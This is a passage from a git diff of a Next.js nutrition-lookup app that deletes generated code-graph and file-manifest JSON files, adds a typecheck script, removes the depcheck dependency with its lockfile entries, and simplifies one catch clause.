- "source_location": "L293",
- "weight": 1.0,
- "source": "lib_types_ts",
- "target": "lib_types_paginationstate",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "lib/types.ts",
- "source_location": "L302",
- "weight": 1.0,
- "source": "lib_types_ts",
- "target": "lib_types_paginationconfig",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "lib/types.ts",
- "source_location": "L309",
- "weight": 1.0,
- "source": "lib_types_ts",
- "target": "lib_types_cacheprogress",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "lib/types.ts",
- "source_location": "L318",
- "weight": 1.0,
- "source": "lib_types_ts",
- "target": "lib_types_searchcacheconfig",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "lib/types.ts",
- "source_location": "L325",
- "weight": 1.0,
- "source": "lib_types_ts",
- "target": "lib_types_paginationprops",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "lib/types.ts",
- "source_location": "L337",
- "weight": 1.0,
- "source": "lib_types_ts",
- "target": "lib_types_cachedproduct",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "lib/types.ts",
- "source_location": "L369",
- "weight": 1.0,
- "source": "lib_types_ts",
- "target": "lib_types_storagestats",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "lib/types.ts",
- "source_location": "L376",
- "weight": 1.0,
- "source": "lib_types_ts",
- "target": "lib_types_cachesearchresult",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "lib/types.ts",
- "source_location": "L383",
- "weight": 1.0,
- "source": "lib_types_ts",
- "target": "lib_types_cachefile",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "lib/types.ts",
- "source_location": "L410",
- "weight": 1.0,
- "source": "lib_types_ts",
- "target": "lib_types_imageloadtask",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "lib/types.ts",
- "source_location": "L418",
- "weight": 1.0,
- "source": "lib_types_ts",
- "target": "lib_types_imageloadingstate",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "lib/types.ts",
- "source_location": "L426",
- "weight": 1.0,
- "source": "lib_types_ts",
- "target": "lib_types_useoptimizedimageloadingoptions",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "lib/utils.ts",
- "source_location": "L4",
- "weight": 1.0,
- "source": "lib_utils_ts",
- "target": "lib_utils_cn",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "lib/utils.ts",
- "source_location": "L9",
- "weight": 1.0,
- "source": "lib_utils_ts",
- "target": "lib_utils_perfcache",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "lib/utils.ts",
- "source_location": "L12",
- "weight": 1.0,
- "source": "lib_utils_ts",
- "target": "lib_utils_debounce",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "lib/utils.ts",
- "source_location": "L25",
- "weight": 1.0,
- "source": "lib_utils_ts",
- "target": "lib_utils_memoize",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "lib/utils.ts",
- "source_location": "L46",
- "weight": 1.0,
- "source": "lib_utils_ts",
- "target": "lib_utils_measureperformance",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "lib/types/rybbit.d.ts",
- "source_location": "L6",
- "weight": 1.0,
- "source": "lib_types_rybbit_d_ts",
- "target": "types_rybbit_d_rybbittrackevent",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "lib/types/rybbit.d.ts",
- "source_location": "L19",
- "weight": 1.0,
- "source": "lib_types_rybbit_d_ts",
- "target": "types_rybbit_d_rybbit",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "lib/types/rybbit.d.ts",
- "source_location": "L24",
- "weight": 1.0,
- "source": "lib_types_rybbit_d_ts",
- "target": "types_rybbit_d_window",
- "confidence_score": 1.0
- }
- ],
- "hyperedges": []
-}
\ No newline at end of file
diff --git a/graphify-out/manifest.json b/graphify-out/manifest.json
deleted file mode 100644
index b4ce287..0000000
--- a/graphify-out/manifest.json
+++ /dev/null
@@ -1,454 +0,0 @@
-{
- "D:\\Documents\\Github\\nutriscan\\next-env.d.ts": {
- "mtime": 1776581037.4265213,
- "hash": "90426577ad8f38459f3e566411c85589"
- },
- "D:\\Documents\\Github\\nutriscan\\next.config.mjs": {
- "mtime": 1776580958.5641155,
- "hash": "c069e0c7601402aa2d0d4662f521e130"
- },
- "D:\\Documents\\Github\\nutriscan\\postcss.config.mjs": {
- "mtime": 1768249662.4925277,
- "hash": "3507368dae6e94b0070b0a10efa15a05"
- },
- "D:\\Documents\\Github\\nutriscan\\sw.js": {
- "mtime": 1768249662.5006702,
- "hash": "9e9f953064a2c5cd67f64900f13d3014"
- },
- "D:\\Documents\\Github\\nutriscan\\tailwind.config.ts": {
- "mtime": 1776580101.8993669,
- "hash": "0cba6437e7c99368790312c152b6fced"
- },
- "D:\\Documents\\Github\\nutriscan\\app\\actions.ts": {
- "mtime": 1768249662.4183648,
- "hash": "2b3afbc26700e0d15a520fac75c854cc"
- },
- "D:\\Documents\\Github\\nutriscan\\app\\layout.tsx": {
- "mtime": 1776580180.508401,
- "hash": "9ea7b9a215d0fad9deb66c271e9a352b"
- },
- "D:\\Documents\\Github\\nutriscan\\app\\page.tsx": {
- "mtime": 1776580552.005734,
- "hash": "85109f1185e440baaa2547761368b0e5"
- },
- "D:\\Documents\\Github\\nutriscan\\app\\providers.tsx": {
- "mtime": 1768249662.4577835,
- "hash": "0d1f3e4651bdbad8862f130f612208e2"
- },
- "D:\\Documents\\Github\\nutriscan\\app\\robots.ts": {
- "mtime": 1768249662.458293,
- "hash": "1115771eafd3722add87e363315d9e72"
- },
- "D:\\Documents\\Github\\nutriscan\\app\\sitemap.ts": {
- "mtime": 1768249662.4588017,
- "hash": "22810601cf6905b7ce3b39a2f47118ed"
- },
- "D:\\Documents\\Github\\nutriscan\\app\\api\\cache\\sync\\route.ts": {
- "mtime": 1768249662.4191432,
- "hash": "76481ff537281162314f4832a54f1851"
- },
- "D:\\Documents\\Github\\nutriscan\\app\\api\\location\\route.ts": {
- "mtime": 1768249662.419977,
- "hash": "2073532d3a2b449afebeb85eb32abcd0"
- },
- "D:\\Documents\\Github\\nutriscan\\app\\api\\products\\[barcode]\\route.ts": {
- "mtime": 1776581065.9446218,
- "hash": "a7793be701f96174beeda43b5949c709"
- },
- "D:\\Documents\\Github\\nutriscan\\app\\api\\search\\route.ts": {
- "mtime": 1768249662.4209993,
- "hash": "043597d3ef75c473eba4aaed3b9d28f0"
- },
- "D:\\Documents\\Github\\nutriscan\\app\\api\\storage-stats\\route.ts": {
- "mtime": 1768249662.4215066,
- "hash": "a40d80f8d79ff4269aead587535ea097"
- },
- "D:\\Documents\\Github\\nutriscan\\app\\components\\CacheOnlySwitch.tsx": {
- "mtime": 1768249662.4215066,
- "hash": "81ff7d76c9b4e39ae9babf24d55aef3f"
- },
- "D:\\Documents\\Github\\nutriscan\\app\\components\\card.tsx": {
- "mtime": 1768249662.428677,
- "hash": "9c2acecd7c3bb8f83c9d5d0a51dd30b0"
- },
- "D:\\Documents\\Github\\nutriscan\\app\\components\\CardList.tsx": {
- "mtime": 1776596229.1311963,
- "hash": "56a63ddcbb2b112767434b422ed28f06"
- },
- "D:\\Documents\\Github\\nutriscan\\app\\components\\DeleteButton.tsx": {
- "mtime": 1776596286.2891304,
- "hash": "10660d6edf611427d82b46f5c09a2d1a"
- },
- "D:\\Documents\\Github\\nutriscan\\app\\components\\DonateCard.tsx": {
- "mtime": 1776580524.8940318,
- "hash": "6783721da778ad4bb4022d93833bbe8c"
- },
- "D:\\Documents\\Github\\nutriscan\\app\\components\\ErrorBoundary.tsx": {
- "mtime": 1768955691.2024121,
- "hash": "c23a36abc614ae1c0f2bee7b3e6ecb12"
- },
- "D:\\Documents\\Github\\nutriscan\\app\\components\\ErrorTracking.tsx": {
- "mtime": 1768955673.7129595,
- "hash": "1b03406317367d3fca5a0a9d1b0a3166"
- },
- "D:\\Documents\\Github\\nutriscan\\app\\components\\FilterBadge.tsx": {
- "mtime": 1768249662.4230216,
- "hash": "515328cca936ddb9b4abaeb44d7db66e"
- },
- "D:\\Documents\\Github\\nutriscan\\app\\components\\FilterSidebar.tsx": {
- "mtime": 1776582723.64508,
- "hash": "ffa3ab9dd0e147125c6ec58cc4e84af8"
- },
- "D:\\Documents\\Github\\nutriscan\\app\\components\\Footer.tsx": {
- "mtime": 1776580356.1049466,
- "hash": "b365f7a7325950a3ea054a99c5ec1645"
- },
- "D:\\Documents\\Github\\nutriscan\\app\\components\\header.tsx": {
- "mtime": 1776580324.349429,
- "hash": "8d61e6d32c89457dd7d136ea23c64aaa"
- },
- "D:\\Documents\\Github\\nutriscan\\app\\components\\IdInput.tsx": {
- "mtime": 1776596267.8479795,
- "hash": "3ba6010a4a9508ab2833523087ed5dc2"
- },
- "D:\\Documents\\Github\\nutriscan\\app\\components\\items.tsx": {
- "mtime": 1768249662.4292626,
- "hash": "9387fa029ed32cd3106599d1e1f3c91b"
- },
- "D:\\Documents\\Github\\nutriscan\\app\\components\\ListaProductCard.tsx": {
- "mtime": 1776596250.2481449,
- "hash": "3a3a397662b6ad4cfa2e1ef17fca8839"
- },
- "D:\\Documents\\Github\\nutriscan\\app\\components\\ListHeader.tsx": {
- "mtime": 1768249662.4247987,
- "hash": "20b0c66c419469f8cd51ced32d6c2c94"
- },
- "D:\\Documents\\Github\\nutriscan\\app\\components\\Main.tsx": {
- "mtime": 1776596217.9284904,
- "hash": "d011b9325c593d1ab7ea859684f4caba"
- },
- "D:\\Documents\\Github\\nutriscan\\app\\components\\NutriScoreBadge.tsx": {
- "mtime": 1776580414.1334257,
- "hash": "0df9e718482f2da665a7564719ca9253"
- },
- "D:\\Documents\\Github\\nutriscan\\app\\components\\NutritionBar.tsx": {
- "mtime": 1776580455.0599718,
- "hash": "c6647b0710b728b9775deba3374d04fd"
- },
- "D:\\Documents\\Github\\nutriscan\\app\\components\\NutritionChart.tsx": {
- "mtime": 1768249662.4264407,
- "hash": "ea58f5c4d16bbb0f927f501b1af0de6c"
- },
- "D:\\Documents\\Github\\nutriscan\\app\\components\\PageTitle.tsx": {
- "mtime": 1768249662.4264407,
- "hash": "9392a8e30aa4cb89fb978e5479f56a1c"
- },
- "D:\\Documents\\Github\\nutriscan\\app\\components\\Pagination.tsx": {
- "mtime": 1768249662.4271603,
- "hash": "7c9f8201282257d9644dab6d73b2fdfc"
- },
- "D:\\Documents\\Github\\nutriscan\\app\\components\\ProductCard.tsx": {
- "mtime": 1776595278.9116664,
- "hash": "ff3c4da338cb4aba008f1f91c10f0fa1"
- },
- "D:\\Documents\\Github\\nutriscan\\app\\components\\ProductCardSkeleton.tsx": {
- "mtime": 1768249662.427674,
- "hash": "a7044fd1979438d7cc6c4014d231652f"
- },
- "D:\\Documents\\Github\\nutriscan\\app\\components\\ProductSkeleton.tsx": {
- "mtime": 1776580434.5229468,
- "hash": "f0fdc91d687889aaa4805bc8403de9ad"
- },
- "D:\\Documents\\Github\\nutriscan\\app\\components\\SearchBar.tsx": {
- "mtime": 1776580544.0693707,
- "hash": "a2151d0a8f3b9f26c0e98138d545490c"
- },
- "D:\\Documents\\Github\\nutriscan\\app\\components\\SortDropdown.tsx": {
- "mtime": 1768249662.428677,
- "hash": "3b6964f5a894272fb63de03b36e38780"
- },
- "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\DonationSection.tsx": {
- "mtime": 1776581085.5905292,
- "hash": "06d8d6927ebe81d2083be6e09ce8df46"
- },
- "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\Features.tsx": {
- "mtime": 1776581029.1289535,
- "hash": "c6535c581a87af0486cab115f88f585f"
- },
- "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\Hero.tsx": {
- "mtime": 1776581003.7377586,
- "hash": "6d942240efd7b4daf7772a7f041756aa"
- },
- "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\HowItWorks.tsx": {
- "mtime": 1776581053.1267357,
- "hash": "83b11b0c4394e7694877d841ee4c8019"
- },
- "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\PersuasiveCTA.tsx": {
- "mtime": 1776580970.6574087,
- "hash": "15e561731783d829bcbf22c4a2590379"
- },
- "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\SearchBar.tsx": {
- "mtime": 1768249662.4312906,
- "hash": "229837e0588ef74791464bcef8f9b6cb"
- },
- "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\TrustBadges.tsx": {
- "mtime": 1776581062.9543862,
- "hash": "851f5fa393064f20050ffdd3e47c2a1d"
- },
- "D:\\Documents\\Github\\nutriscan\\app\\lista\\[id]\\page.tsx": {
- "mtime": 1776596202.1780298,
- "hash": "64575800c661ddd25d67beac8b8b1ea3"
- },
- "D:\\Documents\\Github\\nutriscan\\app\\produto\\[barcode]\\page.tsx": {
- "mtime": 1776581287.7353265,
- "hash": "a0eaaf5d370a9b9f71b6f91bf74b6323"
- },
- "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx": {
- "mtime": 1776598632.9777951,
- "hash": "871dd62ee6467caa4dc8baa4f79c5491"
- },
- "D:\\Documents\\Github\\nutriscan\\app\\sobre\\page.tsx": {
- "mtime": 1776595125.9413378,
- "hash": "c34bf07af3993d729e56eec982cfe331"
- },
- "D:\\Documents\\Github\\nutriscan\\app\\sobre\\components\\CTASection.tsx": {
- "mtime": 1776581167.4301932,
- "hash": "819962044027737d93fd7da0fd44e980"
- },
- "D:\\Documents\\Github\\nutriscan\\app\\sobre\\components\\HeroSection.tsx": {
- "mtime": 1776580987.1199255,
- "hash": "3f54b1c013752ebc429141d2f18e4916"
- },
- "D:\\Documents\\Github\\nutriscan\\app\\sobre\\components\\HowItWorksSection.tsx": {
- "mtime": 1776581113.568597,
- "hash": "fc8f87a8d08debf289a67ffc9c0ab9e7"
- },
- "D:\\Documents\\Github\\nutriscan\\app\\sobre\\components\\ImpactSection.tsx": {
- "mtime": 1776581067.482777,
- "hash": "afc086f713473a29cbfb5310e4d3324e"
- },
- "D:\\Documents\\Github\\nutriscan\\app\\sobre\\components\\MissionSection.tsx": {
- "mtime": 1776581992.5232103,
- "hash": "13d055b46c2cf3763f6a396205ffae3a"
- },
- "D:\\Documents\\Github\\nutriscan\\app\\sobre\\components\\ProblemSection.tsx": {
- "mtime": 1776581005.877464,
- "hash": "ea4e9c7cf93f987051b1260f3a11aaa1"
- },
- "D:\\Documents\\Github\\nutriscan\\app\\sobre\\components\\StorySection.tsx": {
- "mtime": 1776581024.6681736,
- "hash": "5897e2e7914f2860d7cc40ab7c5a4933"
- },
- "D:\\Documents\\Github\\nutriscan\\app\\sobre\\components\\TargetAudienceSection.tsx": {
- "mtime": 1776581093.8005397,
- "hash": "957250f07ed9d7413e34f06f8a957a0a"
- },
- "D:\\Documents\\Github\\nutriscan\\app\\sobre\\components\\ValuesSection.tsx": {
- "mtime": 1776581144.515073,
- "hash": "12a42890229585884797b32708e912b5"
- },
- "D:\\Documents\\Github\\nutriscan\\components\\OptimizedImage.tsx": {
- "mtime": 1776195665.0843182,
- "hash": "9f29c895e9a0c1a5a858b68aa2e64209"
- },
- "D:\\Documents\\Github\\nutriscan\\components\\theme-toggle.tsx": {
- "mtime": 1768249662.4645047,
- "hash": "b3ccde8c87e9282f2c75488ab4593994"
- },
- "D:\\Documents\\Github\\nutriscan\\components\\ui\\accordion.tsx": {
- "mtime": 1768249662.4651475,
- "hash": "babe82cc67afc33956195417f2de2395"
- },
- "D:\\Documents\\Github\\nutriscan\\components\\ui\\alert-dialog.tsx": {
- "mtime": 1768249662.4656568,
- "hash": "7dcdec2e0130d5fa6240d66c23776e2d"
- },
- "D:\\Documents\\Github\\nutriscan\\components\\ui\\badge.tsx": {
- "mtime": 1768249662.465995,
- "hash": "c6db5a6c42e5c86485a853e1a73bef01"
- },
- "D:\\Documents\\Github\\nutriscan\\components\\ui\\button.tsx": {
- "mtime": 1768249662.465995,
- "hash": "c859c8272fbb95452bbab9e0afe996e2"
- },
- "D:\\Documents\\Github\\nutriscan\\components\\ui\\card.tsx": {
- "mtime": 1768249662.4665093,
- "hash": "417aa24d02057f716cf3256ad3505157"
- },
- "D:\\Documents\\Github\\nutriscan\\components\\ui\\checkbox.tsx": {
- "mtime": 1768249662.4665093,
- "hash": "47aa0df2e5f920120faa9e40cec1bf6f"
- },
- "D:\\Documents\\Github\\nutriscan\\components\\ui\\dialog.tsx": {
- "mtime": 1768249662.4674194,
- "hash": "f73202fda409f741c6cdda528b75bd3c"
- },
- "D:\\Documents\\Github\\nutriscan\\components\\ui\\dropdown-menu.tsx": {
- "mtime": 1768249662.4674194,
- "hash": "79992f92cc2fedb7545c67dbde72e3ff"
- },
- "D:\\Documents\\Github\\nutriscan\\components\\ui\\input.tsx": {
- "mtime": 1768249662.4674194,
- "hash": "b6f39aedc2dcec6a539ef6a3f5800eb0"
- },
- "D:\\Documents\\Github\\nutriscan\\components\\ui\\label.tsx": {
- "mtime": 1768249662.4674194,
- "hash": "21b597ac5ace57dae3a811f554154654"
- },
- "D:\\Documents\\Github\\nutriscan\\components\\ui\\radio-group.tsx": {
- "mtime": 1768249662.4685318,
- "hash": "5e1c1dd36996ad6ce9dc61a21636f9f1"
- },
- "D:\\Documents\\Github\\nutriscan\\components\\ui\\select.tsx": {
- "mtime": 1768249662.4685318,
- "hash": "6a6438b55eaa208ff9c5a966fc55795b"
- },
- "D:\\Documents\\Github\\nutriscan\\components\\ui\\separator.tsx": {
- "mtime": 1768249662.4690459,
- "hash": "a554485146f11e2f99567142c3eea40a"
- },
- "D:\\Documents\\Github\\nutriscan\\components\\ui\\sheet.tsx": {
- "mtime": 1768249662.4690459,
- "hash": "9c6ed03705c0b39a4835dd3ae39de9c7"
- },
- "D:\\Documents\\Github\\nutriscan\\components\\ui\\skeleton.tsx": {
- "mtime": 1768249662.469602,
- "hash": "f65c9baa039c5484ed34c6ccaf9a2849"
- },
- "D:\\Documents\\Github\\nutriscan\\components\\ui\\slider.tsx": {
- "mtime": 1768249662.469602,
- "hash": "ec52b3ef83d5350cf3ac6e746cd4bc5a"
- },
- "D:\\Documents\\Github\\nutriscan\\components\\ui\\switch.tsx": {
- "mtime": 1768249662.4701164,
- "hash": "fea1a0aea3f582e86df145bdcd45b34f"
- },
- "D:\\Documents\\Github\\nutriscan\\docs\\resedesign\\extract.js": {
- "mtime": 1776580942.1980963,
- "hash": "44c795200fd8549360d54e06e3d5f482"
- },
- "D:\\Documents\\Github\\nutriscan\\hooks\\use-geolocation.ts": {
- "mtime": 1768258524.6853542,
- "hash": "9e43917f3ffbcbec19dc3a13994e3100"
- },
- "D:\\Documents\\Github\\nutriscan\\hooks\\use-search-logic.ts": {
- "mtime": 1768250431.0643024,
- "hash": "eb6d37231458c11514959ff3620b0cbe"
- },
- "D:\\Documents\\Github\\nutriscan\\hooks\\useCacheOnlyMode.ts": {
- "mtime": 1768249662.4754808,
- "hash": "0cefa74045549ddf7f1deaf627eb5c09"
- },
- "D:\\Documents\\Github\\nutriscan\\hooks\\useProductFilters.ts": {
- "mtime": 1768249662.4760673,
- "hash": "bc728d3a2a8f3be0fe32c2074a415c59"
- },
- "D:\\Documents\\Github\\nutriscan\\hooks\\useSearchCache.ts": {
- "mtime": 1768249662.4760673,
- "hash": "1be9d54cb4ce9963ac5530db86b057ce"
- },
- "D:\\Documents\\Github\\nutriscan\\hooks\\useStorageMonitor.ts": {
- "mtime": 1768249662.4765754,
- "hash": "51dae3797809bd695edd8099604298cc"
- },
- "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts": {
- "mtime": 1768249662.4770837,
- "hash": "5ce534d1aa26c82283e7dc34c2d5a50e"
- },
- "D:\\Documents\\Github\\nutriscan\\lib\\geolocation.ts": {
- "mtime": 1768249662.4770837,
- "hash": "8a5961092dd096056311de8122ebdab1"
- },
- "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts": {
- "mtime": 1776195580.3778186,
- "hash": "342778585e4852ab8811ba425d3647ad"
- },
- "D:\\Documents\\Github\\nutriscan\\lib\\openFoodFactsApi.ts": {
- "mtime": 1776194759.0693445,
- "hash": "c528a68988797784a9299487dd32ef22"
- },
- "D:\\Documents\\Github\\nutriscan\\lib\\prisma.ts": {
- "mtime": 1768249662.477593,
- "hash": "55279148474980e4f42b2c28e2712b12"
- },
- "D:\\Documents\\Github\\nutriscan\\lib\\searchUtils.ts": {
- "mtime": 1768249662.478596,
- "hash": "816f89edaa9325e60be8993dc62670fe"
- },
- "D:\\Documents\\Github\\nutriscan\\lib\\types.ts": {
- "mtime": 1768249662.488405,
- "hash": "ff9b580bca2b5130235788c4595f4bb0"
- },
- "D:\\Documents\\Github\\nutriscan\\lib\\utils.ts": {
- "mtime": 1768249662.488919,
- "hash": "1f65b42dc459d24557b90915d32643fd"
- },
- "D:\\Documents\\Github\\nutriscan\\lib\\types\\rybbit.d.ts": {
- "mtime": 1768955681.5075545,
- "hash": "2d64d9864e2d4aa4c6ee29f64176e760"
- },
- "D:\\Documents\\Github\\nutriscan\\dokploy.yaml": {
- "mtime": 1768249662.4749725,
- "hash": "3633f2b1b7d2ea87c04f104b870b475e"
- },
- "D:\\Documents\\Github\\nutriscan\\pnpm-workspace.yaml": {
- "mtime": 1768249662.4925277,
- "hash": "70bf37eeae9e94bddabf886404367d07"
- },
- "D:\\Documents\\Github\\nutriscan\\README.md": {
- "mtime": 1768249662.4173625,
- "hash": "fef53180ee4ca61279135b0ee31bfb44"
- },
- "D:\\Documents\\Github\\nutriscan\\docs\\logo-prompts.md": {
- "mtime": 1776584139.7344599,
- "hash": "110abc0687331fb2ba00d6fbc9f885f9"
- },
- "D:\\Documents\\Github\\nutriscan\\docs\\openFoodFacts.md": {
- "mtime": 1768249662.4744627,
- "hash": "f9d517290c868cf5f55a2bb9c7b81068"
- },
- "D:\\Documents\\Github\\nutriscan\\docs\\resedesign\\extracted-template.html": {
- "mtime": 1776580946.4939618,
- "hash": "767f1216a8fc8c4b50a6fa0fc27585cc"
- },
- "D:\\Documents\\Github\\nutriscan\\docs\\resedesign\\NutriScan Redesign.html": {
- "mtime": 1776579550.1852984,
- "hash": "94dd57e6e8cc5be09b075fb18a691271"
- },
- "D:\\Documents\\Github\\nutriscan\\app\\icon.png": {
- "mtime": 1768249662.4453888,
- "hash": "d4a44ea17dc1803b4e65ae6baa3771bf"
- },
- "D:\\Documents\\Github\\nutriscan\\docs\\resedesign\\design-full.png": {
- "mtime": 1776579619.8496165,
- "hash": "a785f06ca993fb6c248c858d6f22876e"
- },
- "D:\\Documents\\Github\\nutriscan\\public\\apple-touch-icon.png": {
- "mtime": 1768249662.497121,
- "hash": "d4a44ea17dc1803b4e65ae6baa3771bf"
- },
- "D:\\Documents\\Github\\nutriscan\\public\\icon.png": {
- "mtime": 1768249662.4996526,
- "hash": "d4a44ea17dc1803b4e65ae6baa3771bf"
- },
- "D:\\Documents\\Github\\nutriscan\\public\\images\\CMJN-ICON_WHITE_BG_OFF.svg": {
- "mtime": 1776581874.2794132,
- "hash": "97311c01879a48138171e98a8eda5941"
- },
- "D:\\Documents\\Github\\nutriscan\\public\\images\\logo-gemini.png": {
- "mtime": 1776583874.996,
- "hash": "88363b23e1237eaef9d80b1a75ace8b2"
- },
- "D:\\Documents\\Github\\nutriscan\\public\\images\\logo-gemini.svg": {
- "mtime": 1776583868.9097157,
- "hash": "09c297f21c15b0b5a6e9fe2f5c55ff7f"
- },
- "D:\\Documents\\Github\\nutriscan\\public\\images\\nut-facts.webp": {
- "mtime": 1768250940.9892068,
- "hash": "c4108523df397239c886c84367504632"
- },
- "D:\\Documents\\Github\\nutriscan\\public\\images\\nutscore.webp": {
- "mtime": 1768250985.9123082,
- "hash": "aa20def9a59fa102da7e03be71b6e788"
- }
-}
\ No newline at end of file
diff --git a/lib/jsonCacheManager.ts b/lib/jsonCacheManager.ts
index 2fc02e2..fc23bdf 100644
--- a/lib/jsonCacheManager.ts
+++ b/lib/jsonCacheManager.ts
@@ -359,7 +359,7 @@ export class JsonCacheManager {
console.log(`[JSON Cache] Produto adicionado na memória: ${code}`);
}
saved++;
- } catch (err) {
+ } catch {
failed++;
}
}
diff --git a/package.json b/package.json
index 7b08721..849e7bd 100644
--- a/package.json
+++ b/package.json
@@ -6,6 +6,7 @@
"test": "node --import ./tests/helpers/register.mjs --test tests/*.test.ts",
"dev": "next dev",
"lint": "next lint",
+ "typecheck": "tsc --noEmit",
"postinstall": "prisma generate",
"build": "prisma generate && next build",
"start": "next start",
@@ -42,7 +43,6 @@
"@types/node": "^20.19.39",
"@types/react": "^19.0.0",
"@types/react-dom": "^19.0.0",
- "depcheck": "^1.4.7",
"eslint": "^8.57.1",
"eslint-config-next": "^15.5.24",
"postcss": "^8.5.10",
diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml
index 32d4e7d..381aa90 100644
--- a/pnpm-lock.yaml
+++ b/pnpm-lock.yaml
@@ -87,9 +87,6 @@ importers:
'@types/react-dom':
specifier: ^19.0.0
version: 19.2.3(@types/react@19.2.17)
- depcheck:
- specifier: ^1.4.7
- version: 1.4.7(supports-color@7.2.0)
eslint:
specifier: ^8.57.1
version: 8.57.1(supports-color@7.2.0)
@@ -115,43 +112,6 @@ packages:
resolution: {integrity: sha512-UrcABB+4bUrFABwbluTIBErXwvbsU/V7TZWfmbgJfbkwiBuziS9gxdODUyuiecfdGQ85jglMW6juS3+z5TsKLw==}
engines: {node: '>=10'}
- '@babel/code-frame@7.29.7':
- resolution: {integrity: sha512-Aup7aUOfpbAUg2ROOJN6Iw5f9DMBlzu0mIkm/malLQFN/YQgO48wCj0Kxa3sEHJvPVFg7siR+qRInwXd2qhQKw==}
- engines: {node: '>=6.9.0'}
-
- '@babel/generator@7.29.7':
- resolution: {integrity: sha512-DkXD5OJQaAQIdZ1bt3UZdEnHAn9Imd3IVBdX03UFe+ony9Ojw5pzr9YVKGDY1jt+Gcn/FnGkNf8r+Vj5NOJWtQ==}
- engines: {node: '>=6.9.0'}
-
- '@babel/helper-globals@7.29.7':
- resolution: {integrity: sha512-3nQVUAtvkKH9zahfWgw96Jc/uFOmjACE1kQz82E2lqWmHBgjzbNlsC22nuQTfahmWeQtTq5nQ/4Nnd2A1wj4zA==}
- engines: {node: '>=6.9.0'}
-
- '@babel/helper-string-parser@7.29.7':
- resolution: {integrity: sha512-Pb5ijPrZ89GDH8223L4UP8i6QApWxs04RbPQJTeWDV0/keR2E36MeKnyr6LYmUUvqRRI+Iv87SuF1W6ErINzYw==}
- engines: {node: '>=6.9.0'}
-
- '@babel/helper-validator-identifier@7.29.7':
- resolution: {integrity: sha512-qehxGkRj55h/ff8EMaJ+cYhyaKlHIxqYDn682wQD7RNp9UujOQsHog2uS0r2vzr4pW+sXf90NeeayjcNaX3fFg==}
- engines: {node: '>=6.9.0'}
-
- '@babel/parser@7.29.7':
- resolution: {integrity: sha512-hnORnjP/1P/zFEndoeX+n+t1RwWRJiJpM/jO7FW32Kn9r5+sJB2JWOdYo4L6k78j15eCwY3Gm/7364B1EMwtNg==}
- engines: {node: '>=6.0.0'}
- hasBin: true
-
- '@babel/template@7.29.7':
- resolution: {integrity: sha512-puq+Gf35oI24FeN11LkoUQFqv9uwNeWpxXZi/Ji3rRIoKAzKnxRaZ+Gkj0vKS9ZCiTESfng1N9LyOyXvo+m+Gg==}
- engines: {node: '>=6.9.0'}
-
- '@babel/traverse@7.29.7':
- resolution: {integrity: sha512-EhlfNQtZ+NK22w5BM61ciuiq1m58ed33Wr1Xan//ZRTy6hgjnwyCffRYwzsGXdASJSUJ1guZILsErh1eQcl+zw==}
- engines: {node: '>=6.9.0'}
-
- '@babel/types@7.29.7':
- resolution: {integrity: sha512-4zBIxpPzowiZpusoFkyGVwakdRJUyuH5PxQ/PrqghfdFWWasvnCdPfQXHrenDai+gyLARulZjZowCOj6fjT4pA==}
- engines: {node: '>=6.9.0'}
-
'@emnapi/core@1.10.0':
resolution: {integrity: sha512-yq6OkJ4p82CAfPl0u9mQebQHKPJkY7WrIuk205cTYnYe+k2Z8YBh11FrbRG/H6ihirqcacOgl2BIO8oyMQLeXw==}
@@ -938,15 +898,9 @@ packages:
'@types/json5@0.0.29':
resolution: {integrity: sha512-dRLjCWHYg4oaA77cxO64oO+7JwCwnIzkZPdrrC71jQmQtlhM556pwKo5bUzqvZndkVbeFLIIi+9TC40JNF5hNQ==}
- '@types/minimatch@3.0.5':
- resolution: {integrity: sha512-Klz949h02Gz2uZCMGwDUSDS1YBlTdDDgbWHi+81l29tQALUtvz4rAYi5uoVhE5Lagoq6DeqAUlbrHvW/mXDgdQ==}
-
'@types/node@20.19.43':
resolution: {integrity: sha512-6oYBAi5ikg4Pl+kGsoYtawUMBT2zZMCvPNF7pVLnHZfd1zf38DRiWn/gT01RYCdUqkv7Fhr+C9ot4/tb+2sVvA==}
- '@types/parse-json@4.0.2':
